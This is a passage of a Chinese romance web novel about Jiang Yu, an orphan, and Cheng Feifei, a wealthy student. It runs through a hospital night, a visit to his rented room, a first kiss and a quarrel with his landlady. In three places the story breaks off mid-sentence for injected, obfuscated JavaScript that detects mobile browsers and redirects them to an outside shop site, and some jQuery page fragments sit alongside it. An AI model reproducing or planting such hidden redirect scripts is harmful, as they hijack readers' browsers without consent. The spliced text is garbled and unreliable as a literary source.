比如,他种在后院的种子为什么总不发芽;孤儿院的老师怎么老对着他叹气;以及,什么时候才能轮到他过生日,让他也吃一回又大又圆的荷包蛋。 江羽泄气地扒在船帮上,瘦小的身体里没什么力气,他觉得很饿。 木船飘飘摇摇,载着他越漂越远。 朦胧中,江羽听到河边的树林里传来丝丝缕缕的声响,那声音很美妙,轻柔婉转,像春日里落下的细雨,秋天里干爽的松风。 只是,那声音不知怎的,无端令江羽的心中有些难过。 他仿佛忘记了饥饿的痛苦,只想一探究竟。江羽站起身,“扑通”一声跃进了江中。 孤儿院的孩子王以为把他骗上船,再推下江,他就毫无办法。年幼的江羽虽然不会说话,但已经意识到,自己似乎有一种能力,可以轻松学会别的小孩子折腾很久也学不好的技能,比如,认字,算数,以及——游泳。 他像鱼儿一样扎了一个深猛,借着水波的力量上浮,终于凭着最后一口力气踉跄着上了岸。 循着那声音找过去,只见密林深处,有一个年轻的女子正在“演奏”。 这个词还是他跟孤儿院的老师们新学的。老师说,最近镇上来了一个乐团,是从很远很远的大城市来的,到他们这穷乡僻壤里来“慈善义演”。 演出的地点在镇中学的礼堂,当地的父老乡亲没见过这种热闹,纷纷削尖了脑袋去瞧,而江羽这种边缘儿童自然是没那个运气到现场一饱眼福。 小提琴这种东西,他只在电视上见过。 眼前的女子约莫二十七八岁,穿着休闲的麻质阔腿裤和夹脚凉拖,一头蓬松的秀发被一根筷子随意固定在脑后。 她闭着眼睛,表情也如这琴声一般,有种如泣如诉的悲戚之感。 直到整首曲子结束,女子才惊讶地发现,一个小男孩安静地坐在旁边的石头上,捧着脸,听得很认真。 小男孩浑身都湿透了,仿佛刚刚从江水里钻出来。 她诧异地挑了挑眉,眼神里满是问询。 江羽想了想,指了指江水中的那条船。 女子惊讶道:“你从那里游过来的?你自己?” 江羽点点头。 她似是难以置信,两条细细的眉毛挑得更高,片刻后,低头看向手里的小提琴,恍然道:“你是被它的声音吸引,才过来的吗?” 江羽又点点头。 女子静静地看了他一会,良久,浅浅一笑:“那……好听吗?” 江羽不知道如何表达这种美好的感觉,于是指了指天空。 在他的心里,天空是最美好的存在,上面有缱绻的白云和瑰丽的晚霞,日更月替,从不缺席。每当他孤独的时候,总有天空沉默地相伴。 看到他的动作,女子怔了怔,眼眶倏地一红。 她揩了一把眼角的泪水,语气释然地说:“谢谢你,小朋友。” 江羽不懂她为什么要感谢他,只是睁着懵懂的大眼睛,一瞬不眨盯着眼前的一切——他从没有见过小提琴,更没见过如此风度翩翩的阿姨,一身干练的优雅。 女子完全不在意他直勾勾的视线,反而露出一个亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151429|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切的笑。 “我叫羽婷,是乐团里的小提琴手。你呢,你叫什么名字?“ 我没有名字,江羽想,他们都叫我小哑巴。 羽婷发现,小男孩似乎不会讲话。 她盯着他骨瘦如柴的四肢,俏皮地眨眨眼:“谢谢你听我拉琴,作为感谢,阿姨请你去吃点东西怎么样?” …… 当满满一碗鸡汤面摆在江羽眼前的时候,他呆愣地盯着碗里那个又大又圆的荷包蛋,视线都被萦绕的热气蒸腾得模糊不清。 江羽犹豫地抬起头,看向对面的人。 羽婷面前也摆了同样一碗面,还有一瓶当地特产的啤酒。 注意到他的眼神,她率先拿起筷子,抱歉一笑:“附近也没什么好吃的,今天委屈你了。” 说着,还把自己碗里那枚荷包蛋夹进了男孩的碗中。 江羽眼睛都瞪直了。 两枚又大又圆的荷包蛋并排躺在小山似的白面堆上,是他做梦也没见过的场景。 羽婷也没管他,兀自开了啤酒,就着玻璃瓶直接喝起来。 她姿态慵懒,眉宇间有种淡漠的疏离。 过了一会,她发现对面的男孩并没有吃面,而是静静地看着……她手中的酒。 “噢,抱歉,不该当着小孩子的面喝酒才是。”羽婷讪讪地笑了笑,将酒瓶挪远,“酒不是好东西,你长大以后也少喝。” 却见江羽拿起筷子,颤巍巍地夹起刚刚那枚荷包蛋,又给她送了回来。 羽婷一愣:“你是想让我也吃吗?” 江羽点点头。 羽婷盯着碗里的蛋默然不语。几瞬之后,脸上竟然露出一个哀伤的笑:“你妈妈有你这么懂事的儿子,一定很幸福吧?” 这回江羽没有点头。 他是个孤儿,没有人会因为他而幸福。 和福利院的其他小孩一样,江羽也曾忍不住幻想过妈妈的样子。 他常常想,妈妈丢掉他以后,有没有生活得更快乐呢? 如果有,那他也没什么可抱怨的。 江羽的意识恍惚而混乱,画面不停地起起伏伏。他看着羽婷那张年轻的脸,心中有些遗憾——后来的那些年,怎么就忘记问问她呢? 他从来没有问过,妈妈,你有没有因为我的存在而变得更加幸福一点? 哪怕只有一点,我也会觉得满足。 因为,你的曲子实在是太悲伤了,我不想再听你演奏它了。 酒精轻而易举地突破了江羽的心理防线,闯入他的识海,将那些尘封已久的记忆搅得纷乱。 江羽看到羽婷牵着自己的手,站在孤儿院的大槐树下,对他眨眨眼睛:“以后会想念这里吗?” 或许吧,江羽撇了撇嘴,但起码不是现在。 羽婷蹲下身,笑眯眯地看了他一会,然后变戏法一样,从随身的包里拿出一套酷炫的轮船模型。 “这个,喜不喜欢?” 江羽惊讶地睁大了眼睛,张着嘴,半天发不出声音。他从没有见过如此精致的玩具,忍不住接过来,翻来覆去地细细打量。 “我想用这只新船,换你记忆里那只旧的,可以吗?” 江羽愣了愣。 曾经的淡漠尽数褪去,此刻,羽婷的脸上洒满阳光。 她指着这盏模型说:“以后,小羽再想起小船,就是你手里这只的样子,好吗?等会儿我们去江边试试,看它能不能浮水。” 江羽想,我已经五岁了啊,又不是什么都不懂的小孩子。 不过,他还是露出了非常灿烂的笑容,将玩具船紧紧搂在怀中。 羽婷一手牵着他,一手提着江羽寥寥可数的一点行李,沿着覆满泥土的小路,离开了福利院。 33. 33 眼前是摇晃的人影。 一个医生模样的人扒开江羽的瞳孔,检查了一下他的意识。 “昏厥伴休克,呕吐严重,是急性胃炎。唉,我说你们这些大学生,放假再高兴也不能这么喝啊,要是喝出人命怎么办?今天我们都接诊了多少个这样的了……” 这声音仿佛从很远的地方传来,江羽不知道他在对谁讲话,脑子里昏昏沉沉的,又睡了过去。 醒来的时候,周围已经归于安静。江羽歪了歪脑袋,发现自己正躺在医院的病床上。手背上贴着胶布,应该是输了液。 他一动,浑身都泛起酸钝的痛感,尤其是脑袋,仿佛被人打了一闷棍,疼得他忍不住蜷起身体。 忽然,耳边传来细微的呼吸声,江羽怔怔转过头——程霏霏正趴在他的病床边,胸膛轻缓地起伏着,似是睡得很沉。 床头微弱的灯光打在她的头顶,将她周身都罩上一层温柔的朦胧。 江羽小心地挪了挪身子,稍稍凑过去,隔着咫尺的距离,看着她枕在手臂上的侧脸。 睡着了的程霏霏十分乖巧,挺翘的睫毛泛着濡湿的润泽,殷红樱口微微翕动着,睡得安心又自在,并没有因为身在陌生的病房而有所防范。 江羽抬起手,轻柔地拨开她额前的碎发。 昏暗的光线里,他的眼睛像缱绻的湖泊,荡漾着温柔的涟漪。 脑海里缓缓浮现起今晚的一切,江羽动作微顿。 他靠回枕头上,叹了口气,默默地想:是我让你讨厌了么? 睡梦中的程霏霏无法回答他,不知是不是感觉到冷,微微瑟缩了一下。 江羽这才注意到,她还是今晚在酒吧里的打扮——短款镂空罩衫,搭配性感露脐小皮裙。 这身穿着,在热闹的酒吧里倒是无碍,此刻,凌晨的病房里潮湿寒冷,她这样怕是会着凉。 江羽坐起身,想要给她盖件外套,目光不经意地扫过那截肤如凝脂的后腰,眼神蓦地一滞—— 深入裙摆的一截曲线窈窕纤美,引人遐思,其上却有一道手指宽的青紫,泛着鲜活的乌亮,清晰地刺入江羽的眼底。 隐秘的部位,暧昧的痕迹…… 江羽敛下眸光,心里顿时有种说不出的酸苦,好像有难以下咽的东西卡在喉头。 江羽强迫自己转过脸。 他知道,自己没有任何资格置喙程霏霏的私生活。 他对她来说,本来就什么也不是。 * 程霏霏是被走廊里的喧哗声吵醒的。 昨晚喝的一点小酒似乎起到了助眠的作用,程霏霏睡得头昏脑胀,使劲想了半天,才意识到自己在哪。 低头一瞧,她竟然躺在病床上,身上还盖着厚厚的被子。 “……江羽?” 程霏霏坐起身,探着脑袋呼唤了几声。 病房里空无一人。 她心下一乱,赶紧找出自己的手机,却看到江羽一大早的留言:【今天还要打工,先走了,谢谢你送我来医院。】 程霏霏鼓起小嘴,懊丧地将手机拍在被子上。 打工,又是打工,小命快没了也不耽误你打工! 她呼出一口气,悻悻地掀开被子,忽然闻到一股浅浅的药草味道。 探手一摸,自己后腰的那道淤青处,不知什么时候贴了一剂活血止痛的药膏。 * 程霏霏到家时已是中午,偌大的房子半个人影也没有,罗女士早就出门了。 明明睡了一个整觉,浑身还是像散了架一样。她疲惫地走进浴室,拧开热水。 温热的水柱兜头浇下,安抚着她纷乱的心情。 脑子里的思绪也被冲得七零八落,最后只留下江羽那张汗湿而苍白的脸孔。 程霏霏关了热水,擦着头发出来,在床边拿起手机,想了想,开始搜索“酒醉后吃什么”。 正浏览着花里胡哨的帖子,任可心的电话打了进来。 “听说你昨晚没回家?去哪了?” 程霏霏沿着楼梯往下走:“你怎么知道我没回家?” “你妈找不到你,就给彭响打电话,他只好撒了个谎,说咱们几个给他开接风派对,在我家过的夜。” 任可心笑得贼兮兮:“听说,你昨儿在酒吧调戏了一个帅哥?最后还携人消失一整晚……可以啊程霏霏!说说,昨晚的春宵还愉快么?” “阿嚏——” 程霏霏忍不住打了个喷嚏,揉了揉酸麻的鼻头:“病房里的春宵吗?挺冷的。” 任可心在那边哈哈大笑。 而程霏霏已经进了厨房。 她胳膊撑在料理台上,等任可心笑够了,才漫不经心地开口:“那个……你当初收的社团报名表上,有江羽的地址吧?” * 程霏霏将家里的厨房翻了个底朝天,小米、楠瓜、山药、枸杞的摆了一桌子,又寻出一只砂锅,洗净加水。 她对着手机上的食谱比划了半天,还是分不清各自要放多少量,干脆闭着眼,囫囵倒进锅里。 沸腾的水气砰砰地顶撞着砂锅盖子,程霏霏守在炉灶前,心虚地想,是自己把人折腾进医院的,现在给人炖一锅滋补养胃的粥,再好脾气地亲自送上门去,怎么也算是一个有诚意的道歉了……吧? 可如果,他还是不愿意原谅自己呢? 程霏霏的嘴角垮着,心中像堵了一团稻草。 明明是他先惹她不高兴的,都还没有跟她道过歉呢,哪来的资格指责她? 程霏霏决定要先发制人——毕竟,是他先违反了协议里的条款,她只是略施小惩而已,道理上也说得过去。 锅里的粥咕嘟了个把小时,直到彻底软烂,程霏霏才把东西倒进保温桶,提着出了门。 她上了一辆出租车。 车子行驶了很久,才到达手机上的地址。放眼望去,竟然是一片待拆迁的城中村。 四周高楼林立,独独将这一块棚户区围在中央。 平房们顶着五颜六色的塑料棚盖,错落交叠,歪七扭八。远远看去,在一众簇新的楼盘间,释放着“你奈我何”的独特气势。 出租车司机忍不住出言提醒:“姑娘,这地方一看就乱,你自己当心点。” 程霏霏下了车,沿着破败的斜坡一路往上走。导航没什么用,她只能挨家挨户地比对门牌号。 傍晚的巷子里居然挺热闹,有背着孩子的妇人在门口择菜,也有染着黄毛的社会青年插兜经过,看到光鲜的小姑娘,会猥琐地多瞅几眼。 而程霏霏仿佛天生缺乏畏惧感。 此刻她最大的担忧,反而是江羽可千万别填了个假地址。 一路上请教了好几个人,程霏霏才找到地方。 这是一方狭窄的小院,简陋的院门半开着,似乎完全不怕陌生人进来。 巴掌大的天井竟然连着好几间屋子,门口趴了一只杂毛小黄狗,正哈哈地吐着舌头。 程霏霏站在院门口向里张望,正巧,一个烫着泡面头的女人从其中一间平房里出来,怀里还抱着一脸盆的儿童衣服。 程霏霏赶紧叫住对方:“请问一下,江羽是住在这里吗?” “你找小江?”女人停下脚步,把她从上到下地瞧了一遍,眼神有些意味深长。 她指了指最角落的一道小门:“那里。” 程霏霏顺势看过去。 那处与其说是个屋子,倒不如说是个仓库。打眼一看,是几间矮房里最破败的一个。 程霏霏走过去,轻轻推了推门。门竟然没有上锁,“吱呀”一声就开了。 她没什么避嫌的自觉,抬脚就走了进去。 屋内装潢简陋,陈设十分简单,收拾得却很干净。 东西少得可怜,最多的反而是成堆的书,没有书架,只能大喇喇地摞在地板上。 一张掉漆的塑料折叠桌支在墙角,勉强算是个书桌。 程霏霏的目光扫向桌上那盏劣质的塑料台灯。 乳白色的灯罩上镶了一圈淡黄色的边,是使用多年氧化的痕迹,也不知他从哪个犄角旮旯里捡回来的。 环顾整个房间,看不到一点值钱的物品。 程霏霏觉得鼻头有点酸。 一种名为“心疼”的情绪在无人问津的角落里疯狂滋长,如今,已然堂而皇之地缠上了她的心。 * 江羽收工的时候,天已经黑透了。 酒精带来的强悍破坏力冲刷着他的身体和精神,工作一整天下来,连走路都有些打晃。 胃里依旧被一股强劲的力道扭扯着,密密匝匝得疼。 好不容易撑到简陋的院门口,江羽靠在墙上,重重吁了口气。 小黄看到他,兴奋地蹦跶过来,尾巴摇得飞起。 他垂着目光,从口袋里拿出一枚白水蛋,往墙上一磕,剥掉蛋壳。 自己咬下蛋白,将整颗蛋黄丢进了狗嘴里。 就这么和狗子分着吃完了两枚鸡蛋,江羽站起身,走向自己的小屋。 门半掩着,桌上的台灯也是亮的。 江羽推开门板,眼眸微微睁大——那张半大的小木床上,程霏霏正蜷在被子里,睡得香甜。 一头亚麻色的长发披散在枕头上,掩去了一半脸庞,可江羽还是一眼就认出了她。 他悄无声息地走过去,借着灯光看清楚床上的人,还是觉得难以置信。 程霏霏卸去了昨晚的妆容,此刻未施粉黛,一张小脸如柔和的夜雪,宁静美好。 她穿着软棉的卫衣,缩在他的被子里,像一只畏寒的猫咪,显出几分可爱的稚气。 ——她怎么会在这里? 江羽看了看自己简陋的家,说是贫民窟的窝棚也不为过。屋子常年背阴,暗冷潮湿,她睡在这里,会不会感冒? 他蹲下身,饶是不舍,还是轻轻晃了晃她的肩膀。 “霏霏?” 程霏霏被这声音唤得悠悠转醒。 她本来只是觉得冷,想钻进被子里取暖。可床上全是江羽的气味,甚至还夹带着一丝她最为怀念的橘子香,令她莫名其妙就陷入了好眠。 此刻,外面的天色已然擦黑,将咫尺之外的少年衬得面如白玉。 他正蹲在床边,目光仿若黏在她脸上。 程霏霏心中一慌,立即坐了起来,擦了一把满是口水的嘴角,又理了理睡乱的头发。 “我怎么睡着了……” 心中暗暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江羽试探着触碰她的手。 程霏霏却突然抬起脸,目光犀利又尖锐,方才的沮丧消失了,脸上燃起怫然的怒火。 “没错,我就是这种人!把别人的尊严踩在脚底下就是我人生的乐趣。可那又怎么样呢?别忘了,你签过包养协议的,收了我的东西,就是我的人,我不说停止,你休想结束!我程霏霏可不是什么善男信女,手段多得是,不信的话,你大可试试看!” 一通怒吼,成功盖过了窗外零星的狗叫声。 女孩的眼神冷如寒冰,语气咄咄逼人,每个字都紧绷着,像一场声势浩荡的威胁。 江羽被她吼得,怔在了原地。 心里升起一道难以置信的猜测。 喉结上下一滚,江羽迎着她的盛怒上前,毫不犹豫地伸出胳膊,将她抱进了怀里。 好似一捧温柔的清泉兜头浇下,瞬间扑熄了程霏霏的满腔邪火。 刚刚还张牙舞爪的人,面对他的骤然亲近,竟然没有表现出半分抗拒。 “霏霏,别怕。”江羽搂着她,一下下顺着她僵硬的脊背,语声轻柔至极,“我不走。” 程霏霏紧抿着唇,眼角倏地红了。 仿佛被人戳穿了心事,那些锋利的态度和嚣张的威胁背后,急急遮掩的想要挽留的心,竟然就这么被人温柔地接住了。 程霏霏的眼睛漫起泪水,顶着他的胸膛,声音有点闷:“你,你休想和别人有什么牵扯……” 江羽抱着她,胳膊越收越紧,程霏霏觉得胸腔里的空气都被挤了出来。 “我还以为,你再也不想理我了。” 江羽贴着她的头发,心间茫然无措的混乱悉数褪去,喜悦争先恐后地冒出来,蔓延在他的心口。 程霏霏任他抱着,郁闷地嘟哝:“……你怎么这么笨!” “对不起,是我想岔了,是我笨。”江羽的声调里带上了笑意。 怀里的人仿佛柔弱无骨,乖得过于安分。 他就这么抱着她,心中犹如雨过天晴。心脏越跳越乱,浑身的血液都在慢慢回温。 一个压抑了很久的念头浮上脑海,逐渐变得强劲,在理智的边缘疯狂挑衅。 江羽低下头,贴近程霏霏的耳侧:“都是我不好,惹了金主大人生气,罪无可恕,理应受罚。” 他抬起她纤巧的下巴,迎着那泪意潸然的目光,毫不犹豫地低头,在樱红的唇瓣上印下一个吻。 这个吻很轻、很柔,只是唇瓣相贴,蜻蜓点水一样,蹭过她的唇珠。 程霏霏被亲得呆住,神智也跟着卡了壳,恍惚地问:“受罚为什么是亲亲?” “因为我穷,只能肉偿。” 低沉的嗓音好听得仿佛在给人下蛊。 程霏霏呆呆地仰着脸,一动未动,忘记了一切动作,也忘记了躲。 江羽眸光微敛,抵着下巴的指尖缓缓上移,抚上了她的耳后。 下一秒,他对准那张翕动的小口,再次铺天盖地地吻了下来。 34. 34 程霏霏是第一次和人接吻。 初吻的威力令她根本无暇去琢磨江羽话里诡异的逻辑。 好像被掠夺了神智,大脑彻底木掉,无法思考。只能被迫仰着头,感受唇上灼热的触感。 湿湿的,还很软。 心中害羞得不能自已,程霏霏本能地想要开口拒绝。一张嘴,却被人趁虚而入,温热的唇舌霎时便钻进了齿颊间。 江羽急促的鼻息拂在她的脸上,激起一阵麻痒。 程霏霏觉得自己的舌头被缠住了,挣脱不开。 她抗争性地勾了一下,挑逗似的。 这个回应令江羽骤然失了分寸,本能一般吻得更加深入,嘬着她细软的舌尖不放。 手臂紧紧箍住她纤细的腰,恨不得将怀中的一切甘冽据为己有。 程霏霏实在甜美得令人心折。 江羽觉得自己的灵魂都在轰鸣。 而程霏霏一个新手村选手,何曾承受过这样炽热的情愫?早就被亲得手脚虚软,难以抑制地呜咽出声。 浑身的力气仿佛都被抽空了,身体软塌塌的,脚步错乱地后退。 挨上桌沿的前一刻,江羽突然伸出手,挡在了她后腰的淤青处。 两个人“咚”一声撞到了桌子。 脆弱的塑料小桌像被浪头拍打的渔船,左摇右晃。 桌上的保温桶被带得翻倒,咕噜噜划着圆弧,在即将坠地的前夕,被江羽一把捞住。 程霏霏羞红着脸,趁机挣脱这个炙热的怀抱。 目光相触的一刻,原本湿凉的空气,一下子变得灼热又黏腻。 程霏霏忍着撞鹿般的心跳,胡乱擦了擦被亲红的嘴唇,装模作样地捧起保温桶,检查了一番。 桶里的东西竟然一滴也没洒,依旧严丝合缝地卡在桶壁上,像一块结构稳定的巨型年糕。 程霏霏:“……” 江羽的耳根赤烫,紊乱的心跳撞击着胸腔。他抬起眼,觑着程霏霏绯红的脸颊,偷偷抿了抿翘起的唇角。 忍不住伸手去勾她的指尖:“我来处理吧。” 江羽从她手里接过那只命途多舛的保温桶,打开房门出去了。 门阖上,程霏霏这才羞窘地捂住脸,两腿一软,彻底歪倒在小木床上。 四肢酸麻,心如擂鼓。 她嗅着床铺上的橘子香,觉得这气味也随着刚才那个失控的吻涌入了咽喉,令她更加口干舌燥,脸红耳赤。 程霏霏像只鸵鸟一样把头埋进被子里,狠狠蹬了蹬腿。 * 江羽过了好一会才回来,回来的时候,不止将一锅热粥端上了桌,还顺带着炒了俩菜。 程霏霏看着他将那个摇摇欲坠的塑料桌子支好,桌面上摆了一盘西红柿炒蛋加一盘绿油油的青菜,眼睛都直了,难以置信地问:“这些都是你做的?” 江羽点点头,表情却有一丝不自然:“这个院子有个共用的厨房,我猜你可能饿了,就随便做了点。你……将就一下。” 程霏霏拿起筷子,尝了一口,随即笑得前仰后合。 “我还以为你在自谦,原来真是要将就一下的。终于找到一件你也不擅长的事情了!” 江羽无奈地笑:“我的水平就仅够填饱肚子而已。” 程霏霏笑够了,拿起勺子搅和着碗里的粥——刚刚那坨黏糊得怎么也倒不出来的小米饭,如今变得色泽浓郁,香气四溢,水米比例恰到好处。 她惊讶地问:“你是怎么处理的?” “加了点温水,再小火炖了炖。其实本来就煮得很好,不需要太多加工。” 江羽捧起自己的那碗粥,当着程霏霏的面,一口气喝了个精光。 温热的甜粥顺着食道入胃,驱散了那股硬涩的疼。五脏六腑好像都被暖流浸过,将宿醉的酒精蒸腾得一滴不剩。 程霏霏压了压翘起的唇角,心里美滋滋,也捧起自己的那碗,徐徐喝起来。 吃完饭,程霏霏坚持要洗碗。 江羽拗不过她,只得答应。 她将零星几只碗碟摞在一起,哼着歌往厨房走。 隔着老远,又看到下午那个烫着泡面头的女人。 亮灯的厨房里,女人挥舞着锅铲,正在做饭。 她几岁大的儿子披着个斗篷,在院子里窜来窜去。看到程霏霏,忽然调转方向,径直朝她冲了过来。 小院里没有灯,视线昏暗,程霏霏躲闪不及,被小男孩撞得一个趔趄。 手里的碗盘没端住,噼里啪啦地摔了一地。 “……” 她震惊地瞪着自己空空如也的双手,和满地白花花的碎瓷片——的的确确,真是一个好碗也没有剩下。 自己第一次帮人洗碗,就把碗碟全给砸了,这么离谱的事正常人真干不出来! 心底顿时升起滔天怒火,程霏霏面露愠色,一个凛冽的眼刀劈向罪魁祸首——那个穿披风的熊孩子! 小男孩眼见惹了祸,正要遁走,不及程霏霏一个箭步冲上前,猛地揪住他一只耳朵,呵斥道:“给我道歉!” 小孩只顾着吱哇乱叫,没有任何道歉的意思。 程霏霏心头火起,挥起胳膊,“啪”一个巴掌就扇在了小男孩的屁股上。 作为家门口那家拳馆的常客,程霏霏绝不是什么花拳绣腿,掌风颇为结实。 这一下没有留力,可把小男孩打得够呛,“哇——”的一声就哭了出来。 高亢的哭声惊动了厨房里做饭的女人,也惊动了屋子里的江羽。 俩人着急忙慌地跑出来一看,只见一地的狼藉边上,程霏霏正将小男孩架在膝盖上,揍得那叫一个酣畅淋漓。 小男孩张着大嘴拼命哭嚎,五官扭在了一起,眼泪鼻涕糊得满脸都是。 女人惊呼一声,急忙上前将儿子解救下来。小男孩扑进妈妈怀里,依旧惊魂未定,嚎得上气不接下气。 女人紧搂着儿子,愤怒地瞪向程霏霏。 而程霏霏看上去毫无愧色,甚至还拍了拍身上不存在的尘土,冲对方客气一笑:“免费替您教育一下小孩,不用谢。” 说罢,她径直走回到江羽身边。 一改刚刚盛气凌人的霸道,程霏霏在江羽跟前耷拉着脑袋,像个犯了大错的鹌鹑。 她心虚地说:“对不起啊,你的碗我会赔偿的。可这件事也不能全怪我,要怪,就怪那个小鬼不长眼睛,到处乱跑!” 说着,还指了指前方抱在一起嗷嗷哭的母子俩,用生怕对方听不见的音量说:“这人是你邻居吗?也太惯着孩子了吧!养大之后,怕也是个祸害!” 江羽看着这一幕,表情十分微妙。 沉默了半晌,他好似放弃了挣扎,木然答道:“她是我房东。” “……” * 寒风敲打着单薄的窗扇,发出“咯吱咯吱”的声响。 江羽推开房间的门,就看到床上的被子里隆起一团鼓鼓囊囊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174299|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人形。 眼睛里闪过促狭的笑意,他走上前,将人从被窝里挖出来。 “好啦,出来吧,没事的。” 被子掀开,程霏霏依旧抱着膝弯,蜷在床上不愿起身。 江羽俯身过去,贴近程霏霏的耳侧:“再不起来,我可就躺下了。” 程霏霏立时一个打挺起身,在床上正襟危坐,脸上的表情正义凛然得仿佛在发表国旗下讲话。 江羽好笑地看了她一眼,正要将人从床上拉起来,程霏霏却忽然抱住他的胳膊:“要不然,我再去找你房东谈谈?事情是我做的,理应由我出面才对,她要打要骂,悉听尊便!” “那可不行。” 江羽莞尔,将人揽进怀里,下巴蹭了蹭她的头顶:“放心吧,已经谈妥了,还给了三天期限,又不是立刻就要走人。” 程霏霏苦着一张脸:“对不起……” 江羽却好似一点也不在意,柔声安慰道:“房源那么多,我再找就是了。如你所见,我东西这么少,搬家很方便。” 程霏霏的嘴角终是垮了垮——她第一次来做客,就害得主人家被房东扫地出门,这么离谱的事正常人真干不出来! 她往江羽的怀里钻了钻,闻着那股好闻的橘子香,萎靡不振地说:“总之……都是我害的。” 被江羽捏了捏耳朵。 “都说了没有。房东的小儿子向来调皮,之前还追着小黄扯它的尾巴。被你教训了一顿,也算是罪有应得,我要替小黄谢谢你。” 程霏霏依旧蔫蔫的:“可是……马上就要过年了,房子也不好找,你白天还要打工……要不然,我今晚留下来陪你吧……” 头顶上方,江羽的呼吸突然一滞。 “心情不好的时候,有人陪着是不是会舒服些?每次我心情不好,任可心和黎玥她们也是会陪着我的……” 她窝在他的怀中,轻声呓语着,讲话的声音越来越低,最后渐渐没了声响。 江羽失笑,再一次强调:“我真的真的没有心情不好。” 更深露重,窗户上很快浮起一层白蒙蒙的薄雾,将这一方温暖的天地包围起来。 再不送她回家,就真的太晚了。 江羽轻轻晃了晃怀里的人:“霏霏?” 怀中毫无动静。 低头一看,程霏霏双目紧闭着,呼吸平缓悠长——竟然已经睡着了。 江羽搂着人,心跳声越来越快。 似有凉风顺着窗缝灌进来,吹过他滚烫的耳根。 垂眼就能看到一张明艳娇俏的小脸,掩去了白日里骄横乖张的大小姐脾气,此刻依偎在他的怀中,姿态毫不设防。 粉雕玉琢,清纯得如同一泓无人饮过的甘泉。 只是这样看着她,江羽便觉得内心灼热,像是有波涛不断拍打着心岸,溅起一阵阵令人目眩的浪花。 他克制着血液里奔涌的悸动,亲了亲她的头发,将人缓缓放倒在枕头上。 这个寂静的冬夜,江羽看着眼前的人,忽然想起以前在书上读到过的一句话—— 【你要是愿意,我就永远爱你;你要是不愿意,我就永远相思。】 江羽在心底无声地叹了口气。 哪怕一开始就知道,你喜欢的另有其人。我还是忍不住靠近,像凿壁偷光的人,想要蹭一点温存。 哪怕余生的时间注定要在无尽沮丧中度过,也想认识你、走向你。 这似乎,就是我的命运。 35. 35 程霏霏下半张脸埋进被子里,舒服地哼唧了一声,感觉周身都被好闻的橘子气味包裹。 ——是梦里的味道。 她忍不住想入非非,脑中画面千回百转。 那个令她魂牵梦萦的人再次出现了,这一次,程霏霏依旧看不清他的脸。 可不同的是,他没有再不假思索地离去,而是在她的病床前倾身,将她拥进了怀里。 他的怀抱温暖有力,满是清新的橘子香。程霏霏开心地噙着笑,缓缓睁开眼睛。 入目是灰白粗糙的墙面,空气里弥漫着丝丝清冷。 带着柔光的滤镜褪去了,化作破晓时雾蒙蒙的素白天光。 又是一场梦。 程霏霏翻了个身,看到江羽近在咫尺的睡颜。 即使在这样黯淡的光线里,他的脸依旧散发着柔和的光泽,像藏在灰沉云雾里的月亮。 小床并不大,江羽和衣躺在被子之外,就这样挨着床沿睡了一整晚。 他身上盖着的是程霏霏送的那件羽绒服。 空间如此局促,可程霏霏觉得,他的睡姿依旧很自然,有种松弛的好看。 程霏霏很难描述那种感觉。 江羽就像一件流落在地摊儿上的艺术品,抖落表面的浮尘,就能看到一种由内而外的、浑然天成的清致。 这种气质和她身边那些富二代还不太一样。硬要比的话,他们像金银,江羽却像玉。 程霏霏伸出手,隔空触摸着他鸦羽一般浓密的睫毛。 心中忍不住好奇——她贫穷的小朋友,究竟是怎样长成了这样的大人? 枕边的手机一震,被程霏霏捞起,是任可心的微信。 【姐妹,连续两个晚上夜不归宿,还说没有春宵,当我傻啊?】 程霏霏笑着回:【抱歉,你帮我遮掩了没?】 任可心:【我还有别的选择?在你妈眼里,我已经是能连开四十八小时马拉松派对的厉害人物了!】 程霏霏赶紧发了个大红包过去,抚慰好友疲惫的心。 任可心毫不客气地收下红包,决定暂且饶她一回。 【剪片子熬了一宿,我要去补觉了,等睡醒了再听你讲春宵的细节!】 程霏霏放下手机,感受到空气里的湿凉,赶紧掀开被角,盖在了江羽身上。 人也靠过去,想帮他暖一暖。 暖着暖着,就又睡了过去。 再醒来的时候,被子完完整整地盖在自己身上,床边已经空了。 * 江羽把早餐买回来的时候,程霏霏正站在露天的水槽边刷牙。 今天是个大晴天,太阳的影子映在草叶的露水上,闪着砂砾般细碎的霞光。 房东一家不在,不知是不是因为儿子哭闹得厉害,一大早就出门了。总之,破旧的院子看着都比昨天可爱了不少。 程霏霏哼着歌,将口中的泡沫一吐,拧开水龙头。冰冷彻骨的自来水哗啦啦地涌出来,激得她白嫩的指节微微泛红。 江羽见状,从厨房拿出烧满了水的铝壶,兑了一盆温水,端出来放在水泥台子上。 程霏霏探手试了试水温,悠然一笑:“我很小的时候住在乡下,那地方也没有热水。当年没觉得什么,这几年反而受不住了。” 